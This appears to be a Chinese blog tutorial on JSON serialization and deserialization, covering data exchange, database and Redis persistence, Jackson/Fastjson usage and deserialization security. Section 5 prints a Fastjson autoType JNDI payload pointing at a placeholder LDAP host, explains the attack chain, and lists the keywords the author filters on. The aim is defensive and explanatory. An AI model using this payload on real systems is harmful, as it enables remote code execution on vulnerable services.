news 2026/9/13 3:15:25

一文讲透JSON序列化与反序列化:数据交换、持久化与安全实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
一文讲透JSON序列化与反序列化:数据交换、持久化与安全实践

从入行到现在,我调试过无数个跟 JSON 相关的报错,从最早的Unexpected end of JSON input,到后来的Cannot deserialize value of type...,再到生产环境凌晨三点挺尸的 Fastjson 告警,可以说 JSON 序列化和反序列化贯穿了整个后端开发、接口联调和数据存储的全过程。很多刚入行的同事会觉得 JSON 就是个“轻量级数据格式”,序列化就是把对象变成字符串,反序列化再把字符串变回对象,仅此而已。但在实际项目里,数据交换的契约设计、持久化方案选型、接口兼容性演进、甚至服务被攻击的入口,全都压在这两个动作上。这篇文章我从数据交换与持久化两个核心价值出发,把 JSON 序列化与反序列化讲透,把我在项目中踩过的坑和总结的方法一并整理出来,适合正在学基础的学生、写业务的后端工程师,以及做系统设计的架构师参考。

1. 序列化与反序列化到底在解决什么问题

1.1 内存里的对象为什么“出不去”

先回到最基础的问题:程序运行时,数据在内存里是一堆对象和引用,比如 Java 里 new 一个User对象,它在堆内存里分配了连续的内存块,里面有name字段、age字段,还可能有指向其他对象的引用指针。这样的结构在进程内部存取速度极快,但一旦涉及跨进程传输、跨网络发送或者落盘存储,它就不能直接“移动”了——因为每个进程的内存空间是独立的,对象的二进制内存布局也依赖运行时和具体语言,换个机器、换个语言,这段内存数据基本就是乱码。

序列化做的就是把这种“运行时内存结构”转换成一种可传输、可存储的格式,比如 JSON 字符串、XML、Protocol Buffers 的二进制,或者 Java 原生的序列化字节流。反序列化则是反过来,把这种格式重新还原成内存对象。你可以把序列化想象成“把一整个行李箱的东西一件件打包成清单”,反序列化就是“根据清单再把东西放回行李箱”。这个“打包清单”动作直接决定了你的程序能不能和其他系统对话、数据能不能在重启后保留。

为什么 JSON 能成为最主流的序列化格式之一?核心在于三点:人类可读、跨语言、自描述。人类可读意味着出问题时可以直接看报文排查;跨语言意味着 Java 序列化的结果 Python 不一定能读,但 JSON 字符串到哪儿都能解析;自描述指的是 JSON 本身就带字段名,{"name":"小明","age":18}nameage的含义一目了然,不需要额外的字段字典。这三点看似简单,却是做数据交换时最宝贵的特性。

1.2 一个最小可复现的例子

我用一个非常简单的场景来说明。假设你有一个 Java 对象:

public class User { private String name; private int age; // 省略 getter/setter }

用 Jackson 序列化成 JSON:

ObjectMapper mapper = new ObjectMapper(); User user = new User("小明", 18); String json = mapper.writeValueAsString(user); // 输出:{"name":"小明","age":18,"deleted":false}

这个字符串就是对象在“旅行”时的形态。它可以被塞进 HTTP 请求体发给前端,可以写入 Redis,也可以存进本地文件。当前端用 JavaScript 接收后,执行JSON.parse(json),就又还原成一个 JS 对象。整个过程里,Java 对象和 JS 对象并不是同一个东西,但通过 JSON 这个“中间语言”,它们完成了语义一致的交换。

这个小例子背后藏着一个关键思想:序列化格式是一种协议,或者说契约。只要双方都遵守同一套 JSON 结构约定,不管内部用什么语言、什么数据结构实现,都能正常通信。这也是微服务架构喜欢把 JSON 作为 HTTP 接口默认数据格式的原因之一。

1.3 数据交换与持久化的双线价值

把序列化的作用归到两条主线上,后续所有问题都能顺着这两条线理解。

第一条是数据交换。时间上是瞬时的,空间上是跨系统的。比如浏览器向服务器发请求、订单服务调用库存服务、平台对接第三方支付回调,都属于数据交换。序列化负责把本系统的对象变成对方能读懂的消息,反序列化负责把对方的消息还原成本系统的对象。这里最核心的诉求是兼容性、效率和契约清晰。

第二条是持久化。时间上是长久的,空间上是从内存到存储介质。比如用户会话信息要存 Redis、订单数据要存数据库、配置信息要落文件。序列化把内存对象变成可存储的字节或文本,反序列化则在需要时还原。这里最核心的诉求是版本演进、可读性和跨应用复用。

很多人会把这两条线混在一起讲,但实际落地时,它们的关注点差别很大。数据交换更看重序列化速度和传输体积,持久化更看重兼容性和可维护性。同一份 JSON 库,在这两个场景下的配置和使用方式都不同,后面我会分开拆解。

2. 数据交换场景:JSON 是怎么当“翻译官”的

2.1 一次接口请求背后的两次转换

前端调后端接口时,很多人只看得到浏览器 Network 面板里的 JSON 报文,但这一来一回其实经历了至少两次序列化和两次反序列化。以典型的 Vue 前端 + Java 后端为例:

前端 JS 对象{ name: '小明', age: 18 }先经过JSON.stringify()变成字符串,放进 HTTP 请求体发出。后端框架(比如 Spring MVC)接收后,通过 HttpMessageConverter 找到合适的转换器,调用 Jackson 把请求体字符串反序列化成 Java 的User对象,这是第一次反序列化。业务处理完后,Spring 再把返回的对象序列化成 JSON 字符串写回响应,这是第二次序列化。前端拿到响应后执行JSON.parse(),还原成 JS 对象,这是第二次反序列化。

这一整套链路里,任何一环出了问题,表现都可能是同一个:接口“通了”但数据不对,或者直接报 400/500。我在联调时最常遇到的一类问题是前后端字段命名风格不一致。后端 Java 习惯了userIdcreatedAt这种驼峰命名,前端 JS 可能用user_idcreated_at下划线命名。如果中间没有做映射,反序列化时就会出现字段丢失或者值为 null。这种情况不是 JSON 本身的问题,而是序列化契约没对齐。解决方案要么是统一命名规范,要么在序列化配置层做PropertyNamingStrategy.SNAKE_CASE的全局映射,要么在 DTO 字段上用注解逐个映射。

还有一类问题是类型不匹配。前端提交age: "18",后端ageint类型,Jackson 默认可以把字符串形式的数字反序列化成整数,但如果提交的是age: "",空字符串就会触发反序列化异常,具体情况要看配置的容错策略。这里我的经验是接口层不要直接用实体类接收前端参数,至少弄一层独立的 DTO,把序列化边界和业务边界分开。

2.2 微服务调用里的序列化选型

微服务架构下,服务间通信有两个流派:一种是 REST/HTTP + JSON,一种是 RPC 框架 + 自定义协议。HTTP + JSON 胜在简单、通用、可调试,curl 一下就能看到报文;RPC 方案(比如 gRPC 的 Protocol Buffers)胜在性能和强契约,但失去了人类可读性。

JSON 序列化在微服务里最大的价值是“异构系统互通”和“故障排查友好”。订单服务用 Java,数据分析服务用 Python,推荐服务用 Go,大家都能解析 JSON,这就省去了为每个语言各自维护一套序列化 SDK 的成本。而且线上排查问题时,直接看网关日志里的 JSON 报文就能定位是哪个字段传错了,不需要像二进制协议那样额外解码。

不过 JSON 的高可读性是用体积换来的。同样一个用户对象,JSON 字符串可能 200 字节,Protobuf 可能只要 60 字节。所以在内部服务间对延迟和带宽敏感的场景,我会建议用 Protobuf 或 Thrift;但对外部接口、第三方回调、需要长期维护的开放平台,JSON 依然是稳妥的默认选择。一个折中的做法是内部服务用 RPC + Protobuf,网关层统一转成 JSON 对外暴露,两边都受益。

2.3 第三方平台的 JSON 契约设计

对接过微信支付、支付宝、GitHub API、企业微信的读者应该有深刻感受:开放平台的接口文档本质上就是在描述一份 JSON 契约。字段含义、类型、是否必填、嵌套层级、枚举范围,全部要在文档里写清楚,否则第三方开发者没法对接。这里 JSON 的自描述属性就非常有用,字段名本身就是语义,对方看到out_trade_no大概能猜到是商户订单号。

但契约光靠文档容易出问题。2024 年以来我见到越来越多的团队引入 JSON Schema 做接口校验,就是在反序列化之前先用 schema 校验请求体结构。比如大模型相关的服务对外暴露接口时,prompt、temperature、max_tokens 这些字段的类型和取值范围都能用 schema 定义,前端传错了直接在网关层就拦截,不会进到业务代码里。之前热词里提到的 DeepSeek 等大模型接口报 JSON Schema 错误,很大程度上就是客户端生成的请求体不符合服务端声明的 JSON Schema 规范,校验直接拦截了。用 Schema 相当于给数据交换加了静态类型检查,值得在跨团队接口上推广。

3. 持久化场景:JSON 如何把“状态”留下来

3.1 数据库里的 JSON 字段与索引

很多传统团队一开始拒绝在关系型数据库里使用 JSON 字段,理由是“关系型数据库就应该做关系建模,JSON 是脏数据”。但 MySQL 5.7 以后推出原生的 JSON 类型,加上 PostgreSQL 对 JSONB 的高度支持,这种观念在慢慢改变。实践中,JSON 字段适合存“结构不确定但总有一部分需要检索”的数据,比如商品的可选属性、订单的扩展信息、用户的自定义配置。

在 MySQL 里,直接对 JSON 字段的某个属性做查询条件是不能走普通索引的。常用做法是生成列(Generated Column)结合索引:把 JSON 里的某个属性提取出来作为虚拟列,再对这个虚拟列建索引。比如订单表的order_infoJSON 字段里存了pay_time,可以这样:

ALTER TABLE t_order ADD COLUMN pay_time DATETIME GENERATED ALWAYS AS (JSON_UNQUOTE(JSON_EXTRACT(order_info, '$.payTime'))) STORED; ALTER TABLE t_order ADD INDEX idx_pay_time (pay_time);

这里有个关键点:STORED 生成列是把数据物理落盘,查询的时候可以直接走索引;VIRTUAL 生成列则不占额外存储,但只有二级索引能覆盖它,所以具体选哪种要看查询频率和存储成本。MySQL 8.0 还支持多值索引(Multi-Valued Index),专门针对 JSON 数组场景,比如tags字段存了一堆标签,可以用CAST(json_extract(...) AS UNSIGNED ARRAY)建索引,显著提升数组包含类查询的性能。

PostgreSQL 的 JSONB 就更强了,支持 GIN 索引直接对 JSON 的键值建索引,还提供@>?这类操作符做包含查询。用 JSONB 做持久化时,我习惯在写入前格式化一下,保证结构一致性,否则同一个语义的字段一会存字符串一会存数字,后面查询和统计都会非常痛苦。

3.2 Redis 持久化与序列化方式的抉择

Redis 本身就是个内存型数据库,它的持久化机制可以分为两类:RDB 快照和 AOF 日志。很多初学者会问“Redis 持久化和 JSON 序列化有什么关系”,这里有三个层面。

第一层是 Redis 的 value 本身。Redis 的 string 类型只能存字符串或字节数组,想把一个对象塞进去,得先序列化成 JSON 字符串,或者用 JDK 原生序列化的字节数组。我一般倾向于 JSON 字符串,原因很简单:可读、可调试,且跨语言通用。用redis-cli直接查看某个 key 的 value,发现是{"userId":123,"status":1}这样的内容,一眼就能看懂;如果是一堆\xAC\xED\x00\x05t\x00...的字节流,排查问题会非常痛苦。

第二层是 Redis 的存储格式。Redis 自己内存里的数据结构是高度优化的,但 RDB 快照会把所有 key-value 以二进制格式存到磁盘,AOF 则把写命令以文本协议追加到文件。无论哪种,当 Redis 重启恢复时,它都是先把数据读进内存再构建数据结构。这整个“内存转磁盘再回内存”的过程,本质上也是一次系统级的序列化与反序列化,只是这套机制对用户透明,大多数时候不需要感知。

第三层是缓存里 JSON 的更新策略。我遇到过不少案例:一个对象被多个服务同时缓存,A 服务把字段名改了,但 Redis 里老数据还没过期,B 服务反序列化时直接报 Unrecognized field 错误。所以用 JSON 做缓存 value 时,反序列化端一定要配置忽略未知字段,同时在发布窗口做好缓存预热或者 key 版本化,比如给 key 加版本号order:detail:v2:{id},发布后自然切换。

3.3 文件型持久化的典型玩法

JSON 做文件持久化的场景比很多人想象中多:软件配置文件(VS Code 的settings.json、ESLint 的配置文件)、爬虫采集的结果落盘、游戏存档、工作流编排文件(像我之前用 ComfyUI 时保存的 workflow JSON)、各种订阅源文件(书源、资源订阅源)、导出的数据备份,全都在用 JSON。

用 JSON 做配置文件的好处是注释友好、结构直观、可版本化。比如我之前处理过的一个 Java 服务,把线程池参数、限流阈值、开关项全部放在一个config.json里,启动时读进来反序列化成一个配置对象。调整参数不需要重新编译发版,直接改文件再触发一次 reload 接口就行。但这里有个一直存在的痛点:JSON 标准里没有注释,团队里总是有人忍不住往里面塞//注释,结果解析直接挂掉。我见过不少项目为了注释需求去用 JSON5、HOCON、YAML 这类超集格式,但换来换去还是觉得,如果配置规模不大,原版 JSON 配合_comment字段是最简单稳妥的。

书源、订阅源这类“内容分发配置文件”用 JSON 也很有意思。它本质上是一个大的 JSON 数组,每个元素描述一个规则对象,客户端拉取后反序列化进内存,用户点一下就能切换。这种场景对 JSON 的要求是:结构稳定、向后兼容。所以发布这类文件时,我建议在 JSON 里加一个version字段,解析时先校验版本,避免旧客户端遇到新字段直接崩。

4. 核心实操:主流语言和框架的序列化方案

4.1 Java:Jackson 与 Fastjson 的选型

Java 世界里,JSON 序列化库主要是 Jackson、Gson 和 Fastjson 三足鼎立。Spring Boot 默认用 Jackson,因为和 Spring 生态整合最深,注解丰富,性能稳定。Gson 轻量,适合小型工具类项目。Fastjson 早期以“快”著称,国内用得很多,但因为频繁曝出反序列化漏洞,我一直不太推荐核心服务使用,如果历史项目里已经用了,至少要锁版本、开 safeMode、关注安全通告。

Jackson 我在实操里最常用到的几个能力:@JsonProperty指定字段别名,@JsonIgnoreProperties(ignoreUnknown = true)忽略未知字段,@JsonFormat格式化日期,@JsonInclude(Include.NON_NULL)忽略 null 值。比如外部接口返回的字段命名是下划线风格,内部 DTO 是驼峰,就在 DTO 字段上指定:

public class OrderDTO { @JsonProperty("order_id") private String orderId; @JsonProperty("pay_time") @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8") private LocalDateTime payTime; }

Fastjson 使用起来确实代码量少,JSON.parseObject(json, User.class)一行搞定,但它的 autoType 机制曾经是漏洞重灾区,攻击者可以通过构造恶意的@type字段触发任意类加载,进而实现命令执行。这不是 Fastjson 独有的问题,Java 原生序列化同样存在,但 Fastjson 因为默认开启 autoType 而扩大了攻击面。如果你因为历史原因必须用 Fastjson,我的建议是:升级到维护中的最新版本、关闭 autoType(ParserConfig.getGlobalInstance().setAutoTypeSupport(false))、在反序列化入口做严格的类型白名单校验。

4.2 Python 与 JavaScript 的序列化细节

Python 里标准库json功能已经很强,但有几个经典的坑。第一是datetime对象默认不能直接序列化,会报TypeError: Object of type datetime is not JSON serializable。解决方法是写个自定义 encoder:

import json from datetime import datetime class DateTimeEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, (datetime, date)): return obj.strftime('%Y-%m-%d %H:%M:%S') return super().default(obj) json.dumps(data, cls=DateTimeEncoder, ensure_ascii=False)

这里ensure_ascii=False也很关键,否则中文会被转成\u5c0f\u660e这样的 Unicode 转义序列,虽然语义没变,但可读性极差,日志排查时会怀疑人生。

第二是元组变数组的坑。Python 的tuple序列化成 JSON 后是数组,反序列化回来是 list,类型变了。如果对类型敏感,需要自己加转换逻辑。第三是 JSON 标准里 key 必须是双引号字符串,Pythondict的 key 如果是数字,json.dumps会自动转成字符串,但反序列化后取data[1]可能拿不到,得用data["1"]

前端 JavaScript 里,JSON.stringify有一些隐藏细节。比如undefined、函数、Symbol 会被忽略,NaNInfinity会被转成nullDate对象会转成 ISO 字符串,但 ISO 字符串再 parse 回来也是字符串而不是 Date。这些细节在做数据上报、前端埋点时很容易踩坑。Vue 2 项目里常见的可编辑 JSON 数据插件,本质上也是把对象序列化成文本渲染到 textarea 里,编辑完成后反序列化回对象并触发更新,如果用户输入了非法 JSON,插件会直接报解析错误。

4.3 serialVersionUID 和 JSON Schema 校验

Java 序列化还有一个经典话题:serialVersionUID。IDE 里总有人抱怨“怎么自动生成序列化 id”,原因是一个类如果实现了Serializable但没有显式声明serialVersionUID,JVM 会根据类结构自动算一个,一旦类结构变化(加字段、改方法),自动算出的 UID 就变了,反序列化时就会抛InvalidClassException。显式声明的作用就是把这个版本号固定下来,让老数据在类结构微调后依然能反序列化成功。IDEA 里没有自动提示序列化 id,是因为相关检查默认没开,在 Settings 的 Inspections 里搜serialVersionUID,勾选Serializable class without 'serialVersionUID',后面就能 Alt+Enter 一键生成了。

序列化版本的兼容性控制,本质上是“持久化数据能活多久”的问题。如果你用 JSON 持久化,情况会好很多:JSON 没有 Java 原生序列化那么严格的版本绑定,多一个字段、少一个字段一般都能兼容,关键还是你那端的反序列化配置是否足够宽容。我强烈建议所有 JSON 反序列化入口都开启“忽略未知字段”,这样上游多加字段不会导致下游崩溃;对必填字段做显式校验,缺了就在业务层报语义清晰的错误。

JSON Schema 在数据交换和持久化里都值得用起来。它的写法类似:

{ "type": "object", "required": ["name", "age"], "properties": { "name": { "type": "string", "maxLength": 20 }, "age": { "type": "integer", "minimum": 0 } } }

Java 里可以用networknt/json-schema-validator做校验,Python 里用jsonschema库,一套 schema 多端复用。大模型接口返回结构化输出时,大家也喜欢用 JSON Schema 约束输出格式,让模型按固定结构返回,再反序列化成业务对象,避免返回纯文本后还得正则匹配。

5. 绕不开的安全问题:反序列化漏洞原理与防线

5.1 漏洞为什么会产生

反序列化漏洞是一类经典且高危的安全问题。核心原理是:反序列化本质上是“根据外部输入决定创建什么类、调用什么方法”的过程。如果这个外部输入不可信,并且序列化格式允许携带类型信息,攻击者就可以构造恶意数据,让服务端在当前进程中创建一个攻击者指定的类,触发类的某些危险方法链,最终达到命令执行、文件读写、SSRF 等目的。

Java 原生反序列化漏洞是最经典的一类。ObjectInputStream.readObject()读取字节流时,会根据流里的类描述符创建对象,并自动调用类的readObject/readResolve方法。一些公共库的类(比如 CommonCollections 里的某些类)在执行反序列化时会间接触发危险操作,攻击者把这些类串成一条“gadget chain”,就能实现从“读取恶意字节流”到“执行系统命令”的完整攻击。这也是为什么安全扫描器总是提醒不要对不可信数据使用 Java 原生反序列化。

Fastjson 的问题则出在它的 autoType 机制。它的 JSON 字符串允许携带@type字段指定要反序列化的具体类,如果攻击者把@type指向一个攻击者可利用的恶意类,Fastjson 在解析过程中就会创建这个类,并可能触发 setter 方法里的危险逻辑。我在安全应急时见过模拟攻击用的 payload,长得就像下面这样(只是演示原理,不要拿去干坏事):

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://恶意地址","autoCommit":true}

服务端一旦把这个 JSON 反序列化成JdbcRowSetImpl对象,某些版本的 Fastjson 会尝试连接dataSourceName指向的 LDAP 地址,这个地址返回的恶意 Java 类又会被加载执行,最终形成完整攻击链。整个过程只需要一个 HTTP 请求,这就是反序列化漏洞最可怕的地方。

5.2 实际案例复盘与防御方案

我处理过一个典型的反序列化安全问题。一个老项目对外提供了一个接口,入参是一个很大的 JSON 字符串,业务代码为了省事,直接把请求体JSON.parseObject(input, User.class)。安全扫描后发现,攻击者可以修改 JSON 里的@type字段探活各种类,虽然当时没有直接打穿,但这已经是一个明确的高危风险点。

修复分了三步走。第一步,反序列化入口禁止携带类型信息,改用“白名单 + 明确类”的方式,只允许解析预定义 DTO 类。第二步,使用维护积极、社区安全的序列化库,同时开启安全模式。第三步,在网络层加防护,对异常请求做风控,比如检测请求体里是否出现@typeldap://rmi://等敏感关键字。这三步做完,风险基本可控。

再补充一点,jackson-databind这几年也披露过多个反序列化相关漏洞,多数是“多态类型处理”惹的祸。Jackson 可以通过enableDefaultTyping在序列化结果里带上类型信息,反序列化时再按这个类型还原。这个特性一开,如果反序列化的是不可信数据,就存在被攻击者引导加载意外类的风险。我的建议是,除非你完全理解风险并且对输入源有强控制力,否则不要轻易开 default typing。

5.3 日常编码中的反序列化安全检查清单

经历了多次安全整改后,我整理了一份简单的检查清单,每次涉及序列化相关的代码评审都要过一遍:

  • 反序列化的数据来源是否可信?如果来自用户输入、外部接口、消息队列等不可信源,必须有类型白名单或严格校验,绝不能直接塞给原生 readObject 或 autoType 解析器。
  • 使用的 JSON 库版本是否在维护中?Fastjson 老版本、部分 jackson-databind 版本都有已知漏洞,先升级到安全版本再说。
  • 是否开启了多态类型功能?没有明确业务需求就保持关闭。
  • 反序列化后是否校验了必填字段和取值范围?这能挡住一部分畸形数据,减少下游空指针和越界问题。
  • 是否有限流和请求体大小限制?反序列化大对象会占内存,攻击者可以构造超大 JSON 做内存耗尽攻击。

安全不是单独的可选项,它跟序列化选型直接绑定。越是底层的数据解析,越要审慎。

6. 常见问题排查与调试技巧

6.1 高频报错与解决思路

我日常见到的 JSON 相关报错,80% 集中在下面几类。整理成了一个速查表,给团队做新人培训时也用这份。

报错现象常见原因处理方式
Unexpected end of JSON input请求体为空,或 JSON 发送不完整查看请求体实际内容,确认字段完整
Unrecognized field "xxx"入参带了目标类没有的字段@JsonIgnoreProperties(ignoreUnknown = true)
Cannot deserialize value of type int from String "abc"类型不匹配检查字段类型,利用@JsonFormat或自定义反序列化器
JSON parse error: Cannot construct instance目标类缺少无参构造方法或对应构造方法给 DTO 加无参构造,或用@JsonCreator指定构造方法
IllegalStateException: Cannot call sendError()过滤器/切面里异常处理逻辑混乱检查全局异常处理器与原生报错的调用顺序
Unable to read version json(Minecraft 等场景)本地存储的文件或目录不完整删除对应缓存文件重新下载,检查网络代理影响

“Unexpected end of JSON input”这个报错在 Node.js、Python、Java 里都很常见,绝大多数不是 JSON 库的 bug,而是上游把空串或者被截断的字符串传过来了。排查时我建议先把原始请求字符串打印出来看一眼,别急着改代码。有一次排查了很久,最后发现是 Nginx 的proxy_request_buffering配置导致大请求体被截断。

6.2 顺手的 JSON 调试工具与方法

工欲善其事,必先利其器。我常用的 JSON 调试工具:格式化方面,命令行用python -m json.tool快速格式化并校验 JSON;浏览器里用 JSON Formatter 类插件,直接把接口返回的 JSON 渲染成可折叠的树。Vim 用户可以用jq处理 JSON 数据流,比如curl 接口 | jq '.data.list[0].name'提取字段,写脚本时效率极高。

因为接口联调时要对比两次返回的差异,我用过几款 JSON 在线对比工具,但敏感数据又不敢随便贴到第三方网站。后来就用 VS Code 里对比两个 JSON 文件,内置的 Diff 视图虽然对 JSON 结构不理解,但文本级 diff 足够定位字段级差异。另外 JMeter 调试 HTTP 接口时,请求体和响应体默认是原始文本,可以在“查看结果树”里切换到 JSON Path Tester,或者用插件做 JSON 格式化,不然超长的一行 JSON 根本没法看。

JDK 自带工具之外,IDE 的帮助也很大。IntelliJ IDEA 里可以直接在 HTTP Request 控制台把响应保存为 JSON 文件,再右键格式化。如果项目里反序列化配置复杂,我会写一个简单的单元测试,把 JSON 文件和实体类挂在一起,先模拟反序列化,确认字段映射没问题再去联调,成本低且能精准定位问题。

6.3 一个生产环境的排查实录

最后分享一个印象很深的案例。有一次线上订单服务突然大面积报Cannot deserialize value of type java.math.BigDecimal from String " ",看堆栈定位到是反序列化一个第三方回调请求体里的金额字段。第三方把金额字段里的空值返回成了空格字符串,而不是标准的 null 或 0,正常配置下 Jackson 会直接抛异常。

临时先加了一个自定义反序列化器,把所有BigDecimal字段的空串统一转成 null:

public class LenientBigDecimalDeserializer extends JsonDeserializer<BigDecimal> { @Override public BigDecimal deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { String text = p.getText(); if (text == null || text.trim().isEmpty()) { return null; } return new BigDecimal(text.trim()); } }

然后在字段上标注@JsonDeserialize(using = LenientBigDecimalDeserializer.class)。这只是应急方案,根本问题是对接方接口返回数据不规范。后来跟他们确认了字段语义,要求缺失时返回 null,同时我方加了接口契约的单测,把这个字段的映射案例固化下来,防止再犯。

这个案例给我的启发是:JSON 序列化不是“写个注解、调个方法”就完事的。你要面对的是各种不按常理出牌的数据,空格、null、字符串数字、缺失字段、未知字段、大小写变化,每个都可能让你的服务弹出一堆异常。防御性编程的心态必须贯穿序列化配置的始终。

我个人实际操作中的体会是:JSON 序列化与反序列化看起来只是开发中的一个小环节,但它像水一样渗透在系统之间的每一次握手、每一份落盘数据里。真正理解它的人,会在接口设计时主动定义契约,会在库选型时把安全放在性能前面,会在上线前把容错配置写对。希望这篇文章能帮你少踩几个坑,把这块硬骨头啃下来。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/13 3:07:11

提示词工程实战:10个技巧与模板,让大模型输出更精准

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/13 3:05:47

企业AI项目落地指南:从立项到上线的关键要素与避坑总结

前阵子一位做制造业的朋友拉我聊一个AI质检项目&#xff0c;聊到一半他开始抱怨&#xff1a;“模型效果挺好的&#xff0c;demo也通过了&#xff0c;怎么一到上线就各种幺蛾子&#xff1f;”这个问题我听过太多次。企业里的AI项目&#xff0c;真正死在模型精度上的其实不多&…

作者头像 李华
网站建设 2026/9/13 3:03:10

论文写作效率提升指南:6款工具组合使用全攻略

写论文这事&#xff0c;真正让人崩溃的从来不是“写”这个动作&#xff0c;而是写之前被文献淹没、写的时候被格式折腾、写完还要被语言和错别字反复折磨。我读研那几年&#xff0c;光是调整参考文献格式就熬过好几个通宵&#xff0c;后来痛定思痛&#xff0c;把市面上叫得上名…

作者头像 李华
网站建设 2026/9/13 3:02:50

软考软件设计师下午题六:Java设计模式填空套路与高分实务

想拿下软考软件设计师的下午题&#xff0c;第六题Java设计模式基本上是一道绕不开的“标准题”。我自己备考那会儿&#xff0c;很多人前面的选择题刷得飞起&#xff0c;一到下午题就卡壳&#xff0c;尤其是最后一题&#xff0c;代码填空看着眼熟&#xff0c;但真要动手填&#…

作者头像 李华